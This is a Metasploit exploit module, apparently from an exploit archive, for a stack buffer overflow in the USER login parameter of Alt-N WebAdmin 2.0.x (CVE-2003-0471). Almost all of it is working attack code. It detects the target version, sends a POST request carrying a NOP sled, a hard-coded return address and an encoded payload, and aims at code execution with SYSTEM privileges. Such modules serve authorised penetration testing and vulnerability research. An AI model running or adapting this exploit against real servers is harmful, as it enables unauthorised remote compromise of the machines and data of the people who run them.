Alt-N WebAdmin - USER Buffer Overflow (Metasploit)

##
# $Id: altn_webadmin.rb 8498 2010-02-15 00:48:03Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
			'Description'    => %q{
				Alt-N WebAdmin is prone to a buffer overflow condition. This
				is due to insufficient bounds checking on the USER
				parameter. Successful exploitation could result in code
				execution with SYSTEM level privileges.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8498 $',
			'References'     =>
				[
					[ 'CVE', '2003-0471' ],
					[ 'OSVDB', '2207' ],
					[ 'BID', '8024'],
					[ 'NSS', '11771'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 830,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Automatic', {}],
					['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
					['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
					['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
					['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 24 2003'))

			register_options([Opt::RPORT(1000)], self.class)
	end

	def exploit

		mytarget = target

		if (target.name =~ /Automatic/)
			res = send_request_raw({
				'uri'   => '/WebAdmin.DLL'
			}, -1)

			if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
				case $1
				when /2\.0\.4/
					mytarget = targets[1]
				when /2\.0\.3/
					mytarget = targets[2]
				when /2\.0\.2/
					mytarget = targets[3]
				when /2\.0\.1/
					mytarget = targets[4]
				else
					print_error("No target found for v#{$1}")
					return
				end
			else
				print_error("No target found")
			end
		end

		user_cook = rand_text_alphanumeric(2)
		post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
		post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

		print_status("Sending request...")
		res = send_request_cgi({
			'uri'          => '/WebAdmin.DLL',
			'query'        => 'View=Logon',
			'method'       => 'POST',
			'content-type' => 'application/x-www-form-urlencoded',
			'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
			'data'         => post_data,
			'headers'      =>
			{
				'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
				'Accept-Language' => 'en',
				'Accept-Charset'  => 'iso-8859-1,*,utf-8'
			}
		}, 5)

		handler
	end

end